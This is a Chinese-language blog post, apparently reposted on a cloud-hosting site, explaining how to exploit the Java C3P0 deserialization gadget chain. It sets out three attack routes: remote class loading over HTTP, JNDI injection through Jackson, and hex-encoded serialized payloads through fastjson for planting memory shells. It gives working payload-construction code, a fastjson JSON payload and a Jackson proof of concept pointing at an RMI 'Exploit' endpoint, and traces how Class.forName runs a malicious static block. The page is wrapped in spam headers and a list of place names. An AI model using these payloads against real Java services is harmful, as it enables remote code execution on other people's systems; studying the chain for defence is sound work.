中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Java C3P0鏈怎么用

發布時間:2022-01-30 14:35:13 來源:億速云 閱讀:145 作者:iii 欄目:開發技術

這篇“Java C3P0鏈怎么用”文章的知識點大部分人都不太理解,所以小編給大家總結了以下內容,內容詳細,步驟清晰,具有一定的借鑒價值,希望大家閱讀完這篇文章能有所收獲,下面我們一起來看看這篇“Java C3P0鏈怎么用”文章吧。

    0x00 前言

    在一些比較極端情況下,C3P0鏈的使用還是挺頻繁的。

    0x01 利用方式

    利用方式

    在C3P0中有三種利用方式

    • http base

    • JNDI

    • HEX序列化字節加載器

    在原生的反序列化中如果找不到其他鏈,則可嘗試C3P0去加載遠程的類進行命令執行。JNDI則適用于Jackson等利用。而HEX序列化字節加載器的方式可以利用與fj和Jackson等不出網情況下打入內存馬使用。

    http base使用

    使用也很簡單,可以直接使用yso生成數據進行發送到服務端,然后加載到指定的遠程類。

    public class test1 {
        public static void main(String[] args) throws Exception {
            C3P0 c3P0 = new C3P0();
            Object object = c3P0.getObject("http://127.0.0.1:80/:exp");
    
            byte[] serialize = Serializer.serialize(object);
            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serialize);
            ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
            Object o = objectInputStream.readObject();
    
        }
    }

    Java C3P0鏈怎么用

    0x02 C3P0分析

    構造分析

    public Object getObject ( String command ) throws Exception {
            int sep = command.lastIndexOf(':');
            if ( sep < 0 ) {
                throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
            }
    
            String url = command.substring(0, sep);
            String className = command.substring(sep + 1);
            PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
            Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
            return b;
        }
        private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
    
            private String className;
            private String url;
    
            public PoolSource ( String className, String url ) {
                this.className = className;
                this.url = url;
            }
    
            public Reference getReference () throws NamingException {
                return new Reference("exploit", this.className, this.url);
            }
    
           ......
        }

    代碼比較簡單,反射創建了一個PoolBackedDataSource實例對象,然后反射將connectionPoolDataSource的值設置為PoolSource類的實例,傳遞classNameurl參數。即我們傳入的遠程地址和類名。

    在序列化的時候會去調用我們的com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject

    Java C3P0鏈怎么用

    這行代碼走到了catch代碼塊里面,因為我們傳入的this.connectionPoolDataSourcePoolSource類是不可被序列化的。

    繼續走到下面代碼來看。

    Java C3P0鏈怎么用

     public IndirectlySerialized indirectForm(Object var1) throws Exception {
            Reference var2 = ((Referenceable)var1).getReference();
            return new ReferenceIndirector.ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);
        }

    調用我們傳遞的this.connectionPoolDataSourcegetReference();方法。來獲取到一個Reference這也是前面為我們要重寫這個方法的原因。

    實例ReferenceIndirector.ReferenceSerialized將剛剛獲取的Reference傳遞進去。

    Java C3P0鏈怎么用

    Java C3P0鏈怎么用

    利用分析

    反序列化入口為com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject

    Java C3P0鏈怎么用

    調用readObject內部會調用ReferenceIndirector.getObject()

    Java C3P0鏈怎么用

    Java C3P0鏈怎么用

    Java C3P0鏈怎么用

    Class.forName ,如果可以控制forName?法的第?個和第三個參數,并且第?個參數為 true,那么就可以利?BCEL, ClassLoader實現任意代碼加載執? 。

    把代碼摳出來測試一下

    ClassLoader var6 = Thread.currentThread().getContextClassLoader();
            URL var8 = new URL("http://127.0.0.1:80");
            URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{var8}, var6);
            Class var12 = Class.forName("exp", true, urlClassLoader);

    Java C3P0鏈怎么用

    跟蹤了一下forName0native修飾的內部使用C/C++實現無法進行查看。

    來看到官方的講解。

    Returns the Class object associated with the class or interface with the given string name, using the given class loader. Given the fully qualified name for a class or interface (in the same format returned by getName) this method attempts to locate, load, and link the class or interface. The specified class loader is used to load the class or interface. If the parameter loader is null, the class is loaded through the bootstrap class loader. The class is initialized only if the initialize parameter is true and if it has not been initialized earlier.

    翻譯大概的意思就是返回一個給定類或者接口的一個 Class 對象,如果沒有給定 classloader, 那么會使用根類加載器。如果initalize這個參數傳了 true,那么給定的類如果之前沒有被初始化過,那么會被初始化。

    也就是說我們的exp會被初始化,執行我們static代碼塊中的惡意代碼。

    官方說明

    HEX序列化字節加載器

    {"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex編碼內容;"}}

    在fj反序列化userOverridesAsString調用settingsetter傳入以HexAsciiSerializedMap開頭的字符串進行解碼并觸發原生反序列化。

    Java C3P0鏈怎么用

    來看到調用流程。下面調用到這里

     this.vcs.fireVetoableChange("userOverridesAsString", oldVal, userOverridesAsString);

    一路跟蹤來到com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString

     public static Map parseUserOverridesAsString(String userOverridesAsString) throws IOException, ClassNotFoundException {
            if (userOverridesAsString != null) {
                String hexAscii = userOverridesAsString.substring("HexAsciiSerializedMap".length() + 1, userOverridesAsString.length() - 1);
                byte[] serBytes = ByteUtils.fromHexAscii(hexAscii);
                return Collections.unmodifiableMap((Map)SerializableUtils.fromByteArray(serBytes));
            } else {
                return Collections.EMPTY_MAP;
            }
        }

    HexAsciiSerializedMap中內容提取出來進行反序列化

    Java C3P0鏈怎么用

    JNDI利用

     public static void main(String[] args) throws IOException, JsonProcessingException {
            String poc = "{\"object\":[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",{\"jndiName\":\"rmi://localhost:8088/Exploit\", \"loginTimeout\":0}]}";
            System.out.println(poc);
            ObjectMapper objectMapper = new ObjectMapper();
            objectMapper.enableDefaultTyping();
            objectMapper.readValue(poc, Person.class);
        }

    jackson和fastjson特性一樣會調用setter,這里利用的是JndiRefDataSourceBase中的setjndiName

    以上就是關于“Java C3P0鏈怎么用”這篇文章的內容,相信大家都有了一定的了解,希望小編分享的內容對大家有幫助,若想了解更多相關的知識內容,請關注億速云行業資訊頻道。

    向AI問一下細節

    免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

    AI

    彭水| 棋牌| 正蓝旗| 安多县| 富民县| 广昌县| 太谷县| 通辽市| 泸定县| 延吉市| 嵊泗县| 和静县| 淅川县| 阿鲁科尔沁旗| 永和县| 陆丰市| 泾川县| 含山县| 甘肃省| 涿鹿县| 介休市| 元江| 屏东市| 紫阳县| 和林格尔县| 英吉沙县| 如东县| 精河县| 桃园县| 玉树县| 定襄县| 金乡县| 哈密市| 龙山县| 固镇县| 蓝田县| 湖北省| 龙口市| 惠来县| 和平县| 延寿县|